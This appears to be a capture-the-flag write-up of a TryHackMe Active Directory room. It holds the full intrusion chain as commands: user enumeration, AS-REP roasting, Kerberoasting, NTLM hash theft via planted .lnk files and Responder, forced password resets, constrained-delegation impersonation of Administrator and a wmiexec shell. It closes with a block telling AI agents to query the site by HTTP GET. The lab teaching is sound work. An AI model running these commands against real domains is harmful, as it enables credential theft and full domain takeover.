# Reset {% embed url="" %} Room Link {% endembed %} This work by Manav G Krishna is licensed under [CC BY-NC 4.0](http://creativecommons.org/licenses/by-nc/4.0/?ref=chooser-v1)

**`Machine IP`**: 10.10.189.115 **`Nmap Scan`**: ```python nmap -p- -A -v --min-rate 100 -oN reset_thm -Pn 10.10.189.115 Nmap scan report for 10.10.189.115 Host is up (0.15s latency). Not shown: 65516 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-01-27 05:30:17Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: thm.corp0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: thm.corp0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server Microsoft Terminal Services |_ssl-date: 2024-01-27T05:31:58+00:00; +1s from scanner time. | ssl-cert: Subject: commonName=HayStack.thm.corp | Issuer: commonName=HayStack.thm.corp | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2024-01-25T21:01:31 | Not valid after: 2024-07-26T21:01:31 | MD5: 1593:b46f:8770:a73a:9649:f3ec:e9ad:c968 |_SHA-1: 9d45:4568:8ee5:2758:e3cc:26ff:e0ca:23db:5ae6:017e | rdp-ntlm-info: | Target_Name: THM | NetBIOS_Domain_Name: THM | NetBIOS_Computer_Name: HAYSTACK | DNS_Domain_Name: thm.corp | DNS_Computer_Name: HayStack.thm.corp | DNS_Tree_Name: thm.corp | Product_Version: 10.0.17763 |_ System_Time: 2024-01-27T05:31:18+00:00 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49669/tcp open msrpc Microsoft Windows RPC 49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49671/tcp open msrpc Microsoft Windows RPC 49673/tcp open msrpc Microsoft Windows RPC 49702/tcp open msrpc Microsoft Windows RPC Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2019 (89%) Aggressive OS guesses: Microsoft Windows Server 2019 (89%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops TCP Sequence Prediction: Difficulty=260 (Good luck!) IP ID Sequence Generation: Incremental Service Info: Host: HAYSTACK; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2024-01-27T05:31:20 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required TRACEROUTE (using port 3389/tcp) HOP RTT ADDRESS 1 151.49 ms 10.14.0.1 2 152.29 ms 10.10.189.115 ``` From the scan we can straight away see that we have an Active Directory environment and we can add the following to our hosts (**`/etc/hosts`**) file: **`thm.corp`**, **`haystack.thm.corp`** ,**`HAYSTACK`(`The NetBIOS Name, which is basically nothing but`** [**`NetBIOS name resolution`**](https://networkencyclopedia.com/netbios-name-resolution/)**)** Checking out a few important ports: **`Port 53 (DNS)`**: We can see if we get more FQDNs such as **`haystack.thm.corp`** by querying for **`DNS records`** by using a utility named **`dig`** (**`dig any thm.corp @10.10.189.115`**). What this command does is, the **`any`** switch fetches all DNS records for the domain **`thm.corp`** by sending the **`DNS requests`** to the **`DNS server`** located at **`10.10.189.115`**. But in this case we didn't get any new FQDNs. **`Port 135 (MSRPC)`**: We can do a **`null session`** enumeration to see if we can get any **`usernames`** using a tool named **`rpcclient`**. Command: ```python rpcclient -N -U '' 10.10.189.115 ``` If we are able to connect/login successfully we can use the **`enumdomusers`** command to fetch usernames:

In this case we were able to connect but we can't enumerate usernames. An other way to run this is: Command: ```python rpcclient -N -U '' 10.10.189.115 -c "enumdomusers" ``` **`Port 389 (LDAP)`**: We can try to fetch usernames by querying the LDAP directories if we are allowed to perform an anonymous bind:

Finding out the scope that we want to query

But we couldn't get any information as we weren't able to bind successfully. **`Port 5985 (WinRM)`**: This port will come in handy later when we want to connect remotely to a user. **`Port 88 (Kerberos)`**: Now let's check if we can fetch some **`usernames`** through **`Windows SID bruteforcing`**. To do this we can use **`impacket's lookupsid`** as **`guest`**. The same command can also be run as **`anonymous`**. Command: ```python impacket-lookupsid guest@10.10.189.115 -no-pass -domain-sids | grep -i SidTypeUser ```

Now since we have a list of potential usernames we can perform stuffs like bruteforcing for **`valid usernames`** using a tool called **`kerbrute`**. We can make use of various **`impacket`** scripts to perform **`AS-REP Roasting`**, **`Kerberoasting`** etc. Put all these users into a file, we can call it - **`users`** Using [**`kerbrute`**](https://github.com/ropnop/kerbrute) with the above users list: Command: ```python kerbrute_linux_amd64 userenum --dc 10.10.189.115 -d thm.corp users ```

Out of the 42 usernames from the list 40 of them are valid kerberos usernames. In a Kerberos environment, user authentication is based on the user's Kerberos principal, which typically takes the form of **`username@REALM`** as we can see in the picture. We can put all these final list of users into a file named **`validusernames`**. **`Performing AS-REP Roasting`**: **`AS-REP Roasting`** is a technique that allows retrieving password hashes for users that have **`Do not require Kerberos preauthentication`** property selected. Command: ```python impacket-GetNPUsers thm.corp/ -usersfile validusernames -no-pass -request -dc-ip 10.10.189.115 -format john ```

We have got the **`hashes`** of 3 users: **`ERNESTO_SILVA`**, **`TABATHA_BRITT`**, **`LEANN_LONG`**. **`Note`**: In the command I have used the format to be john, so the hashes fetched will be in john format. By default it will be in the hashcat form. It doesn't matter what format it is in. I have used the **`-format`** switch just for simplicity. The hashcat hash that we get by default can be used with john too to crack. The above command can be also run without the **`-format`** switch. Attempting to crack these obtained hashes for the password: Command: ```python john --wordlist=/usr/share/wordlists/rockyou.txt [hash_file] ```

Out of the 3 hashes only the hash for **`TABATHA_BRITT`** could we cracked. **`Note`**: Since I had already done the cracking before, I have used the **`--show`** switch of john to show the password. Now since we have valid creds, we can further go ahead to perform **`Kerberoasting`** to see if we can get more hashes for other users. **`Performing Kerberoasting`** : **`Kerberoasting`** is a post-exploitation attack technique that is used to obtain a password hash of an Active Directory (AD) account that has a **`servicePrincipalName (SPN)`** value. Command: ```python impacket-GetUserSPNs thm.corp/TABATHA_BRITT:'insert_password' -request -dc-ip 10.10.189.115 ```

We got a bunch of hashes for all those usernames that are marked above. But none of these were crackable. We can see if anything else can be done using **`TABATHA_BRITT`**'s creds such as using **`crackmapexec`** to see if we have **`winrm`**,**`smb`**,**`rdp`** etc:

It shows **`Pwn3d!`** for **`rdp`** and we could enumerate **`smb`** shares but we can't **`winrm`** in. **`Note`**: Initially while solving the room I had enumerated information from the **`SMB`** port without having any valid creds along with **`Kerberos`** pentesting in parallel. I have explained about **`SMB`** enumeration below. In the above picture for **`smb`**, my point was to just show all possibilities for the user **`TABATHA_BRITT`**) Based on the above information, we can **`RDP`** in as **`TABATHA_BRITT`**, but let's keep that for later. **`Port 139/445 (SMB)`**: We can try to login to see the network shares on the domain using a tool called **`smbmap`**. Any name can be used for this as far as we can get in **`anonymously`**. Command: ```python smbmap -H 10.10.189.115 -u guest ```

There is a network share named **`Data`** having **`Write`** permissions. This is indeed interesting. Using **`smbclient`** to interact with that share: Command:

smbclient //10.10.189.115/Data/

We notice that there is a directory named **`onboarding`** and the file names keep changing, this is again interesting. Downloading the files to our system:

Checking out the files:

This file reveals a password. One of the pdf files had the same contents as in that txt file, but we get the user for which the password belonged to: LILY ONEILL (To view PDF files in Kali, a tool named **`evince`** can be used. It is there in the apt repo cache. To install it: **`apt install evince`** , command to use it: **`evince pdf_file.pdf`**

But from the list of **`validusernames`** that we got before we know that **`LILY_ONEILL`** ain't a valid user. Checking for **`rdp`**, **`smb`** & **`winrm`** access:

We can see that the creds are valid for **`smb`** but we can't list out the shares. So knowing this user's password was not much of a use. But the write access on the **`Data`** share & the file names changing often in the **`onboarding`** directory looks juicy. Since the file names are changing we can come to an assumption that someone might be accessing the contents in the **`onboarding`** directory. Let's try to make use of this to steal a **`NTLM`** hash of the user that might be making the changes within the share. Upon Googling: **`smb ntlm hash steal`**, I came across this blog that had a mention of a tool named [**`ntlm_theft`**](https://github.com/Greenwolf/ntlm_theft) that can help us in stealing a hash: {% embed url="" %} NTLM Theft {% endembed %} Using the tool: Command: ```python python3 ntlm_theft.py -g all -s 10.10.189.115 -f test ```

What the tool does is it generates different file types and it saves it to a directory that we specify, have named it **`test`**. These files can then be tried on by uploading them to an **`SMB`** share to steal the hash by setting up a tool called **`Responder`** . **`Responder`** is a network tool used in penetration testing to capture credential information during man-in-the-middle attacks. Responder listens for **`LLMNR`** and **`NBT-NS`** requests on the network. When a system on the network sends a name resolution request, it intercepts and responds to these requests with spoofed answers, tricking the requesting system into sending authentication information. When a system falls for the spoofed response and attempts to authenticate, Responder captures the authentication request and collects the **`NTLMv1/NTLMv2`** hash from the authentication exchange. It does not store plaintext passwords but captures the **`hashed credentials`**. The captured hash can then be **`cracked`** to get the password. Since we have **`Write`** permissions on the **`Data`** share we can upload the files that the tool gave us inside the **`onboarding`** directory as that is where we think there is someone accessing the contents. Command to set up Responder: ```python responder -I tun0 ```

We have set it up successfully and it is listening. Files generated by **`ntlm_theft`**:

Now let's upload a few of these files into the **`onboarding`** directory to steal the **`NTLM`** hash: Command: ```python smbclient //10.10.189.115/Data/ -c "cd onboarding; put test.lnk test.lnk" ``` This command is being run from within the **`test`** directory. Make sure to add the full path for the **`-c`** switch if needed. **`Note`**: I had uploaded a couple of other files while testing and the one that worked was the **`test.lnk`** file, which is why I have shown that in the command. After a couple seconds post uploading, **`Responder`** has indeed captured a hash for a user named **`AUTOMATE`**. We can maybe say that by looking at this name, the file names changing within the **`SMB`** share was mostly automated:

Cracking this hash using John: The command is the same as the one that was mentioned initially.

**`Note`**: Since I had already done the cracking before, I have used the **`--show`** switch of john to show the password. We can now again use **`crackmapexec`** to see if we have **`winrm`** access as the user **`AUTOMATE`**:

It shows **`Pwn3d!`**. Now we can use a tool called **`evil-winrm`** to **`winrm`** in as this user. Command: ```python evil-winrm -u AUTOMATE -p 'insert_password' -i 10.10.189.115 ```

We can find the user flag in the **`Desktop`** folder of **`AUTOMATE`**. An other way of finding **`AUTOMATE`**'s password is by **`RDP`** ing as **`TABATHA_BRITT`** and querying the **`Winlogon`** registry: Command: ```python reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" ``` This is a common place where passwords are usually stored in Windows. The command to **`RDP`** in can be found towards the end of the page. A blog on the same: {% embed url="" %} Stored passwords {% endembed %} We can do some enumeration by traversing different folders etc, but in this case there was nothing interesting that we could find. Deciding to run a tool called **`BloodHound`**: **`BloodHound`** is a sophisticated open-source security tool designed for Active Directory (AD) analysis in Windows environments. Utilizing graph theory, it visually maps and analyzes relationships within an AD infrastructure, providing insight into permissions, trust relationships, and potential attack paths. It utilizes the **`Neo4j`** graph database as part of its architecture. It is typically executed using an **`ingestor`** named **`SharpHound`**, which is uploaded to the target machine. Commands are then run to fetch the necessary information. It is basically a data collection tool for **`BloodHound`**. But in this case that wasn't working as the AV on the target machine was flagging it as a virus. But the simpler alternative to running **`SharpHound`** is by using this [**`Python`**](https://github.com/dirkjanm/BloodHound.py) based ingestor which can be run remotely from our attacking machine to fetch all the data. Command: ```python python3 bloodhound.py -u AUTOMATE -d thm.corp -ns 10.10.189.115 -c all ```

The **`-c`** is used to collect information, using the **`all`** argument for it collects everything. We can see that the tool has given us all the needed info to visually analyze this data using **`BloodHound`**. 7 **`json`** files were generated:

Inorder to run **`BloodHound`** we have to start the **`neo4j`** console. If anyone's new to it, check out this video on how to set it up: {% embed url="" %} Starting the **`neo4j`** console:

To start **`BloodHound`** just type **`bloodhound`** in the terminal post starting the console and this will open up the **`neo4j`** login page. Once logged in, the generated **`json`** files have to uploaded, once this is done we can start to analyze the data:

Analyzing the **`BloodHound`** data: Using this data we can find our way to move laterally to become the **`Administrator`**, basically to root the machine. We can start by checking the **`AUTOMATE@THM.CORP`** node, but there were no interesting edges from here. But we also do have **`RDP`** access as **`TABATHA_BRITT@THM.CORP`** which we had found initially. So let's check out this user's node to see how we can proceed:

Upon selecting **`First Degree Object Control`** under **`OUTBOUND OBJECT CONTROL`** , we notice that **`TABATHA_BRITT@THM.CORP`** has **`GenericAll`** permissions on **`two`** users named **`SHAWNA_BRAY@THM.CORP`** & **`RAQUEL_BENSON@THM.CORP`**:

Upon further inspecting, there was nothing much for the user **`RAQUEL_BENSON@THM.CORP`** that could help us move laterally but **`SHAWNA_BRAY@THM.CORP`** had interesting permissions on other users. Now let's check out the node of **`SHAWNA_BRAY@THM.CORP`**. Click on this users node for the respective information to load. Upon selecting **`Transitive Object Control`** under **`OUTBOUND OBJECT CONTROL`** , we notice that **`SHAWNA_BRAY@THM.CORP`** has **`ForceChangePassword`** permissions on a user named **`CRUZZ_HALL@THM.CORP`** :

ForceChangePassword on CRUZZ_HALL@THM.CORP

Now let's check out the node of **`CRUZZ_HALL@THM.CORP`**. Click on this users node for the respective information to load. Upon selecting **`First Degree Object Control`** under **`OUTBOUND OBJECT CONTROL`** , we notice that **`CRUZZ_HALL@THM.CORP`** has **`ForceChangePassword`** permissions on a user named **`DARLA_WINTERS@THM.CORP`** :

ForceChangePassword on DARLA_WINTERS@THM.CORP

Now let's check out the node of **`DARLA_WINTERS@THM.CORP`**. Click on this users node for the respective information to load. We straight away notice that we have data for **`Constrained Delegation Privileges`**. If we have compromised a user account or a **`computer`** (machine account) that has kerberos constrained delegation enabled, it's possible to **`impersonate`** any domain user (**`including administrator`**) and authenticate to a service that the user account is trusted to delegate to. Upon selecting that we can see the user **`DARLA_WINTERS@THM.CORP`** has the **`AllowedToDelegate`** permissions on the computer **`HAYSTACK.THM.CORP`**:

Now we have successfully found out our attack path to become **`Administrator`**. To brief it out: 1. **`TABATHA_BRITT@THM.CORP`** -> **`GenericAll`** -> **`SHAWNA_BRAY@THM.CORP`** 2. **`SHAWNA_BRAY@THM.CORP`** -> **`ForceChangePassword`** -> **`CRUZZ_HALL@THM.CORP`** 3. **`CRUZZ_HALL@THM.CORP`** -> **`ForceChangePassword`** -> **`DARLA_WINTERS@THM.CORP`** 4. **`DARLA_WINTERS@THM.CORP`** -> **`AllowedToDelegate`** -> **`HAYSTACK.THM.CORP`** **`Exploitation`**: We can check out the **`Help`** section at each edge to exploit, but l won't be doing it that way. 1. **`TABATHA_BRITT@THM.CORP`** -> **`GenericAll`** -> **`SHAWNA_BRAY@THM.CORP`** The **`GenericAll`** permission provides write access to all properties (add users to a group or reset the user’s password). So in this case we (**`TABATHA_BRITT@THM.CORP`**) can abuse this permission in two ways. First way: By **`RDP`** ing as **`TABATHA_BRITT@THM.CORP`** and changing the password of **`SHAWNA_BRAY@THM.CORP`**: {% embed url="" %} GenericAll abuse {% endembed %} Command to RDP (from attacking machine): ```python xfreerdp /u:TABATHA_BRITT /p:'insert_password' /v:10.10.189.115 /dynamic-resolution ``` (Type in **`Y`** when prompted) Command to change password after opening **`CMD`**: ```python net user SHAWNA_BRAY Password@2039 /domain ``` Second way: Since it is **`GenericAll`** we can make use of **`ForceChangePassword`** permission abuse too to change the password of **`SHAWNA_BRAY@THM.CORP`**: {% embed url="" %} ForceChangePassword abuse {% endembed %} Command: ```python rpcclient -U thm.corp/TABATHA_BRITT%'insert_password' 10.10.189.115 ``` Once connected type: ```python setuserinfo2 SHAWNA_BRAY 23 Password@2039 ```

To confirm that the changes were successful we can **`crackmapexec`** on **`rdp`** as **`SHAWNA_BRAY`** as from the **`BloodHound`** output this user had **`RDP`** privileges:

This shows the password change worked. 2. **`SHAWNA_BRAY@THM.CORP`** -> **`ForceChangePassword`** -> **`CRUZZ_HALL@THM.CORP`** The **`ForceChangePassword`** permission allows us (in this case **`SHAWNA_BRAY@THM.CORP`**) to reset a user's password without knowing their current password. So this user can reset **`CRUZZ_HALL@THM.CORP`**'s password. (Refer to the **`ForceChangePassword`** blog attached above). Command: ```python rpcclient -U thm.corp/SHAWNA_BRAY%'Password@2039' 10.10.189.115 ``` Once connected type: ```python setuserinfo2 CRUZZ_HALL 23 Password@2038 ```

To confirm that the changes were successful we can **`crackmapexec`** on **`rdp`** as **`CRUZZ_HALL`** as this user too had **`RDP`** privileges:

This shows the password change worked. 3. **`CRUZZ_HALL@THM.CORP`** -> **`ForceChangePassword`** -> **`DARLA_WINTERS@THM.CORP`** Same as above, this time **`CRUZZ_HALL@THM.CORP`** can reset **`DARLA_WINTERS@THM.CORP`**'s password. Command: ```python rpcclient -U thm.corp/CRUZZ_HALL%'Password@2038' 10.10.189.115 ``` Once connected type: ```python setuserinfo2 DARLA_WINTERS 23 Password@2037 ```

To confirm that the changes were successful we can **`crackmapexec`** on **`rdp`** as **`DARLA_WINTERS`** as this user too had **`RDP`** privileges:

This shows the password change worked. 4. **`DARLA_WINTERS@THM.CORP`** -> **`AllowedToDelegate`** -> **`HAYSTACK.THM.CORP`** The **`AllowedToDelegate`** permission allows us (in this case **`DARLA_WINTERS@THM.CORP`**) to impersonate the **`Administrator`** account by targeting the **`CIFS`** service to retrieve a usable **`TGS ticket`** . **`Blogs`**: {% embed url="" %} Constrained Delegation abuse {% endembed %} {% embed url="" %} Constrained Delegation abuse {% endembed %} We can abuse the same by using a tool called **`Rubeus`** which involves us uploading this to the target machine, but since we know that there is AV it is again going to flag it is a virus like how it did for **`SharpHound`** before. An other way to do this is by using an **`impacket`** script named **`getST`**. Command Syntax: ```python getST.py -spn SERVICE/HOSTNAME_YOU_HAVE_DELEGATION_RIGHTS_TO.FQDN -impersonate TARGET_USER DOMAIN/USERNAME:PASSWORD ``` The FQDN is **`haystack.thm.local`**
We could also see this in the **`BloodHound`** information:

Command: ```python impacket-getST -spn cifs/haystack.thm.corp -impersonate Administrator thm.corp/DARLA_WINTERS:'Password@2037' ```

The ticket generated: **`Administrator.ccache`** Now we need to export this ticket that we got into memory like so: ```python export KRB5CCNAME=Administrator.ccache ```

We can now dump secrets from the registry hives using an other **`impacket`** script named **`secretsdump`** or we can use other scripts like **`psexec`**, **`wmiexec`** to get a shell, in this case as **`Administrator`** \ \ Dumping secrets to get the NTLM hash of **`Administrator`** did work but we couldn't do a **`PassTheHash`** Using **`psexec`** hadn't worked, but **`wmiexec`** did: Command: ```python impacket-wmiexec -k -no-pass Administrator@haystack.thm.corp ```

We got an admin shell successfully. The **`-k`** (**`Kerberos authentication`**) switch in the above command is used to grab credentials from the ccache file (**`KRB5CCNAME`**) that we had previously exported. Now we find the root flag in the **`Desktop`** folder of **`Administrator`**:

Room solved!! {% embed url="" %} Profile Link {% endembed %} --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://manav-g-krishna.gitbook.io/tryhackme-writeups/reset.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.